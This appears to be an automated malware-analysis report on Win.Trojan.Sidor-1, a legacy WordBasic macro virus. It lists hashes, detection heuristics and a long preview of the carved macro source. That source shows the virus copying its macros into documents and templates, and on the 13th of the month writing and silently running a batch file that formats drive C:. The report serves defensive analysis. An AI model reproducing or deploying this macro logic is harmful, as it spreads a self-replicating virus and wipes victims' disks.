Win.Trojan.Sidor-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 4d838c27c766fb3b…

MALICIOUS

Office (OLE)

20.0 KB First seen: 2012-06-14
MD5: 7e2ba98819e3ca9c13c03a4c27c2bfaa SHA-1: 69de43a080c0c045d2a1b62f0951b87e73fbf912 SHA-256: 4d838c27c766fb3bbf014cedae753b0e275f82b3352c77d0a1aa1590535934d4
142 Risk Score

Malware Insights

Win.Trojan.Sidor-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and the ClamAV detection as Win.Trojan.Sidor-1. The document body contains embedded commands and script-like logic that attempts to create and execute a batch file named 'tester.bat' and potentially other malicious actions. This indicates the macro is designed to download and execute further payloads or perform other harmful operations.

Heuristics 4

  • ClamAV: Win.Trojan.Sidor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Sidor-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 19649 bytes
SHA-256: d602f3c89d66f1d957fa667ae63f0401451bf823c69390cd2c0593d19aa18fef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script
First 1,000 lines of the extracted script
, = - , 17253 29551 21605 29793 19827 =
MAIN
@cmd809e
MAIN
@cmd809e
MAIN
@cmd809e
, - * errhand
@cmd00cc = 1
@cmd8111 0
vir$ = @cmd8025
fe$ = "File"
se$ = "Save"
se$ = fe$ = se$
ses$ = se$ = "As"
ma$ = "Macro"
cy$ = "Copy"
cy$ = ma$ = cy$
ts$ = "Templates"
ts$ = fe$ = ts$
tsm$ = "Tools"
tsm$ = tsm$ = ma$
forse$ = "format"
se1$ = "Save"
tsm1$ = "Tools"
glob$ = "Global"
Viewer
@cmd00d7 = "f" , , = 1
@cmd8012 "disableautomacros"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "if Day(Now()) = 13 then"
@cmd8013
@cmd8012 "open " = @cmd8005 34 = "tester.bat" = @cmd8005 34 = " for output as #1"
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "@cls" = @cmd8005 34
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "@echo off" = @cmd8005 34
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "type soyes.txt|" = forse$ = " c: /u>nul" = @cmd8005 34
@cmd8013
@cmd8012 "close #1"
@cmd8013
@cmd8012 "open " = @cmd8005 34 = "soyes.txt" = @cmd8005 34 = " for output as #2"
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "close #2"
@cmd8013
@cmd8012 "shell " = @cmd8005 34 = "command.com /c tester.bat >nul" = @cmd8005 34 = ",0"
@cmd8013
@cmd8012 "shell " = @cmd8005 34 = "mem /c/p" = @cmd8005 34 = ",0"
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd809f 1
REM =====================
@cmd00d7 = "s" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "screenupdating 0"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "numcm = Count" = ma$ = "s(1)"
@cmd8013
@cmd8012 "Flag = 0"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "If numcm = 0 Then Goto bye"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = "If " = ma$ = "Name$(i, 1) = " = @cmd8005 34 = "mir" = @cmd8005 34 = " Then Flag = 1"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "NMm$ = " = ma$ = "Name$(i, 1)"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = tsm$ = ".Name = NMm$, .Show = 3, .Delete"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "bye:"
@cmd8013
@cmd8012 "realn$= filenamefromwindow$()"
@cmd8013
@cmd8012 "dim dlg as filesummaryinfo"
@cmd8013
@cmd8012 "getcurvalues dlg"
@cmd8013
@cmd8012 "qq$ = dlg.LastSavedDate"
@cmd8013
@cmd8012 "Redim dlg As " = ses$
@cmd8013
@cmd8012 "GetCurValues dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "If dlg.LockAnnot <> 1 And qq$ <> " = @cmd8005 34 = @cmd8005 34 = " Then"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$ = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = " If dlg.Format = 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = " If Flag <> 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "fucker" = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":AutoOpen" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "sokker" = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":FileClose" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = ts$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":" = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":" = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":mir" = @cmd8005 34
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = " ElseIf dlg.Format = 0 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "dlg.Format = 1"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = " End If"
@cmd8013
@cmd8012 @cmd8005 9 = "Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = "End If"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd8012 "ScreenRefresh"
@cmd8013
@cmd809f 1
REM =========================
@cmd00d7 = "t" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "screenupdating 0"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "numcm = Count" = ma$ = "s(1)"
@cmd8013
@cmd8012 "Flag = 0"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "If numcm = 0 Then Goto bye"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = "If " = ma$ = "Name$(i, 1) = " = @cmd8005 34 = "mir" = @cmd8005 34 = " Then Flag = 1"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "NMm$ = " = ma$ = "Name$(i, 1)"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = tsm$ = ".Name = NMm$, .Show = 3, .Delete"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "bye:"
@cmd8013
@cmd8012 "realn$= filenamefromwindow$()"
@cmd8013
@cmd8012 "dim dlg as filesummaryinfo"
@cmd8013
@cmd8012 "getcurvalues dlg"
@cmd8013
@cmd8012 "qq$ = dlg.LastSavedDate"
@cmd8013
@cmd8012 "Redim dlg As " = ses$
@cmd8013
@cmd8012 "GetCurValues dlg"
@cmd8013
@cmd8012 "Dialog dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "If dlg.LockAnnot <> 1 And qq$ <> " = @cmd8005 34 = @cmd8005 34 = " Then"
@cmd8013
@cmd8012 "ext$= Ucase$(Right$(dlg.Name, 1))"
@cmd8013
@cmd8012 "if ext$ = CHR$(34) then"
@cmd8013
@cmd8012 @cmd8005 9 = "ext$= Ucase$(Left$(Right$(dlg.Name, 5),4))"
@cmd8013
@cmd8012 @cmd8005 9 = "if ext$ = " = @cmd8005 34 = ".DOC" = @cmd8005 34 = " OR ext$=" = @cmd8005 34 = ".DOT" = @cmd8005 34 = " then"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$= Left$(dlg.Name, Len(dlg.Name) - 5) + " = @cmd8005 34 = ".doc" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = "end if"
@cmd8013
@cmd8012 "else"
@cmd8013
@cmd8012 "ext$= Ucase$(Right$(dlg.Name, 4))"
@cmd8013
@cmd8012 @cmd8005 9 = "if ext$ = " = @cmd8005 34 = ".DOC" = @cmd8005 34 = " OR ext$=" = @cmd8005 34 = ".DOT" = @cmd8005 34 = " then"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$= Left$(dlg.Name, Len(dlg.Name) - 4) + " = @cmd8005 34 = ".doc" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = "end if"
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = " If dlg.Format = 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = " If Flag <> 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "fucker" = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":AutoOpen" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "sokker" = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":FileClose" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = ts$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":" = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":" = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":mir" = @cmd8005 34
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = nam$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " ElseIf dlg.Format = 0 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "dlg.Format = 1"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = nam$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " End If"
@cmd8013
@cmd8012 @cmd8005 9 = "Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "End If"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd8012 "ScreenRefresh"
@cmd8013
@cmd809f 1
@cmd00d7 = "r" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "on error goto errhand"
@cmd8013
@cmd8012 tsm1$ = "Options" = se1$ = " ." = glob$ = "DotPrompt = 0"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "f" = @cmd8005 34 = "," = @cmd8005 34 = "AutoExec" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "s" = @cmd8005 34 = "," = @cmd8005 34 = se$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "t" = @cmd8005 34 = "," = @cmd8005 34 = ses$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":autoopen" = @cmd8005 34 = "," = @cmd8005 34 = "fucker" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":FileClose" = @cmd8005 34 = "," = @cmd8005 34 = "sokker" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":" = ts$ = @cmd8005 34 = "," = @cmd8005 34 = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":" = tsm$ = @cmd8005 34 = "," = @cmd8005 34 = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 "errhand:"
@cmd8013
@cmd809f 1
r
winner
@cmd80d6 =
Viewer
, -
numm = @cmd80b7 0
i = 1 numm
NMm$ = @cmd80b8 i , 0
@cmd00d7 = NMm$ , = 1 ,
i
vpos = @cmd8006 @cmd810c 31 8
@cmd80af @cmd810c 30 = "RUS"
@cmd0143 = ,
@cmd815b , 0 , 8 , vpos
@cmd0143 = "Macros" ,
@cmd815b "Macros" , 0 , 8 , vpos
@cmd0299
@cmd8111 0
winner
, -
@cmd00d7 = "r" , , = 1
@cmd00d7 = "s" , , = 1
@cmd00d7 = "f" , , = 1
@cmd00d7 = "t" , , = 1
@cmd80af @cmd810c 30 = "RUS"
@cmd0143 = ,
@cmd0143 = "Macros" ,
MAIN
@cmd809e
, - * errhand
numm = @cmd80b7 0
i = 1 numm
NMm$ = @cmd80b8 i , 0
NMm$ = "fucker" * hand
i
@cmd00cc = 1
REM Write by Sidorov Konstantin Matveevich, 73 years old, der. Vioshki,
REM Moscowskaya obl.
REM Sorry me, old grandfather, for some errors
@cmd8111 0
vir$ = @cmd8025
fe$ = "File"
se$ = "Save"
se$ = fe$ = se$
ses$ = se$ = "As"
ma$ = "Macro"
cy$ = "Copy"
cy$ = ma$ = cy$
ts$ = "Templates"
ts$ = fe$ = ts$
tsm$ = "Tools"
tsm$ = tsm$ = ma$
forse$ = "format"
se1$ = "Save"
tsm1$ = "Tools"
glob$ = "Global"
Viewer
@cmd00d7 = "f" , , = 1
@cmd8012 "disableautomacros"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "if Day(Now()) = 13 then"
@cmd8013
@cmd8012 "open " = @cmd8005 34 = "tester.bat" = @cmd8005 34 = " for output as #1"
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "@cls" = @cmd8005 34
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "@echo off" = @cmd8005 34
@cmd8013
@cmd8012 "print #1, " = @cmd8005 34 = "type soyes.txt|" = forse$ = " c: /u>nul" = @cmd8005 34
@cmd8013
@cmd8012 "close #1"
@cmd8013
@cmd8012 "open " = @cmd8005 34 = "soyes.txt" = @cmd8005 34 = " for output as #2"
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "print #2, " = @cmd8005 34 = "y" = @cmd8005 34
@cmd8013
@cmd8012 "close #2"
@cmd8013
@cmd8012 "shell " = @cmd8005 34 = "command.com /c tester.bat >nul" = @cmd8005 34 = ",0"
@cmd8013
@cmd8012 "shell " = @cmd8005 34 = "mem /c/p" = @cmd8005 34 = ",0"
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd809f 1
REM =====================
@cmd00d7 = "s" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "screenupdating 0"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "numcm = Count" = ma$ = "s(1)"
@cmd8013
@cmd8012 "Flag = 0"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "If numcm = 0 Then Goto bye"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = "If " = ma$ = "Name$(i, 1) = " = @cmd8005 34 = "mir" = @cmd8005 34 = " Then Flag = 1"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "NMm$ = " = ma$ = "Name$(i, 1)"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = tsm$ = ".Name = NMm$, .Show = 3, .Delete"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "bye:"
@cmd8013
@cmd8012 "realn$= filenamefromwindow$()"
@cmd8013
@cmd8012 "dim dlg as filesummaryinfo"
@cmd8013
@cmd8012 "getcurvalues dlg"
@cmd8013
@cmd8012 "qq$ = dlg.LastSavedDate"
@cmd8013
@cmd8012 "Redim dlg As " = ses$
@cmd8013
@cmd8012 "GetCurValues dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "If dlg.LockAnnot <> 1 And qq$ <> " = @cmd8005 34 = @cmd8005 34 = " Then"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$ = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = " If dlg.Format = 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = " If Flag <> 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "fucker" = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":AutoOpen" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "sokker" = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":FileClose" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = ts$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":" = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":" = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", nam$ +" = @cmd8005 34 = ":mir" = @cmd8005 34
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = " ElseIf dlg.Format = 0 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "dlg.Format = 1"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = realn$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = " End If"
@cmd8013
@cmd8012 @cmd8005 9 = "Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = se$
@cmd8013
@cmd8012 @cmd8005 9 = "End If"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd8012 "ScreenRefresh"
@cmd8013
@cmd809f 1
REM =========================
@cmd00d7 = "t" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "screenupdating 0"
@cmd8013
@cmd8012 "on error goto errh"
@cmd8013
@cmd8012 "numcm = Count" = ma$ = "s(1)"
@cmd8013
@cmd8012 "Flag = 0"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "If numcm = 0 Then Goto bye"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = "If " = ma$ = "Name$(i, 1) = " = @cmd8005 34 = "mir" = @cmd8005 34 = " Then Flag = 1"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "i = 0"
@cmd8013
@cmd8012 "While i < numcm And Flag = 0"
@cmd8013
@cmd8012 @cmd8005 9 = "i = i + 1"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "NMm$ = " = ma$ = "Name$(i, 1)"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = tsm$ = ".Name = NMm$, .Show = 3, .Delete"
@cmd8013
@cmd8012 "Wend"
@cmd8013
@cmd8012 "bye:"
@cmd8013
@cmd8012 "realn$= filenamefromwindow$()"
@cmd8013
@cmd8012 "dim dlg as filesummaryinfo"
@cmd8013
@cmd8012 "getcurvalues dlg"
@cmd8013
@cmd8012 "qq$ = dlg.LastSavedDate"
@cmd8013
@cmd8012 "Redim dlg As " = ses$
@cmd8013
@cmd8012 "GetCurValues dlg"
@cmd8013
@cmd8012 "Dialog dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "If dlg.LockAnnot <> 1 And qq$ <> " = @cmd8005 34 = @cmd8005 34 = " Then"
@cmd8013
@cmd8012 "ext$= Ucase$(Right$(dlg.Name, 1))"
@cmd8013
@cmd8012 "if ext$ = CHR$(34) then"
@cmd8013
@cmd8012 @cmd8005 9 = "ext$= Ucase$(Left$(Right$(dlg.Name, 5),4))"
@cmd8013
@cmd8012 @cmd8005 9 = "if ext$ = " = @cmd8005 34 = ".DOC" = @cmd8005 34 = " OR ext$=" = @cmd8005 34 = ".DOT" = @cmd8005 34 = " then"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$= Left$(dlg.Name, Len(dlg.Name) - 5) + " = @cmd8005 34 = ".doc" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = "end if"
@cmd8013
@cmd8012 "else"
@cmd8013
@cmd8012 "ext$= Ucase$(Right$(dlg.Name, 4))"
@cmd8013
@cmd8012 @cmd8005 9 = "if ext$ = " = @cmd8005 34 = ".DOC" = @cmd8005 34 = " OR ext$=" = @cmd8005 34 = ".DOT" = @cmd8005 34 = " then"
@cmd8013
@cmd8012 @cmd8005 9 = "nam$= Left$(dlg.Name, Len(dlg.Name) - 4) + " = @cmd8005 34 = ".doc" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = "end if"
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = " If dlg.Format = 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = " If Flag <> 1 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "fucker" = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":AutoOpen" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "sokker" = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":FileClose" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = ts$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":" = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":" = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = tsm$ = @cmd8005 34 = ", realn$ +" = @cmd8005 34 = ":mir" = @cmd8005 34
@cmd8013
@cmd8012 "end if"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = nam$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " ElseIf dlg.Format = 0 Then"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = "dlg.Format = 1"
@cmd8013
@cmd8012 @cmd8005 9 = "dlg.Name = nam$"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = " End If"
@cmd8013
@cmd8012 @cmd8005 9 = "Else"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = ses$ = " dlg"
@cmd8013
@cmd8012 @cmd8005 9 = "End If"
@cmd8013
@cmd8012 "errh:"
@cmd8013
@cmd8012 "ScreenRefresh"
@cmd8013
@cmd809f 1
@cmd00d7 = "r" , , = 1
@cmd8012 "disableinput"
@cmd8013
@cmd8012 "on error goto errhand"
@cmd8013
@cmd8012 tsm1$ = "Options" = se1$ = " ." = glob$ = "DotPrompt = 0"
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "f" = @cmd8005 34 = "," = @cmd8005 34 = "AutoExec" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "s" = @cmd8005 34 = "," = @cmd8005 34 = se$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = "t" = @cmd8005 34 = "," = @cmd8005 34 = ses$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":autoopen" = @cmd8005 34 = "," = @cmd8005 34 = "fucker" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":FileClose" = @cmd8005 34 = "," = @cmd8005 34 = "sokker" = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":" = ts$ = @cmd8005 34 = "," = @cmd8005 34 = ts$ = @cmd8005 34
@cmd8013
@cmd8012 @cmd8005 9 = @cmd8005 9 = cy$ = " " = @cmd8005 34 = vir$ = ":" = tsm$ = @cmd8005 34 = "," = @cmd8005 34 = tsm$ = @cmd8005 34
@cmd8013
@cmd8012 "errhand:"
@cmd8013
@cmd809f 1
r
winner
@cmd80a0 =
Viewer
, -
numm = @cmd80b7 0
i = 1 numm
NMm$ = @cmd80b8 i , 0
@cmd00d7 = NMm$ , = 1 ,
i
vpos = @cmd8006 @cmd810c 31 8
@cmd80af @cmd810c 30 = "RUS"
@cmd0143 = ,
@cmd815b , 0 , 8 , vpos
@cmd0143 = "Macros" ,
@cmd815b "Macros" , 0 , 8 , vpos
@cmd0299
@cmd8111 0
winner
, -
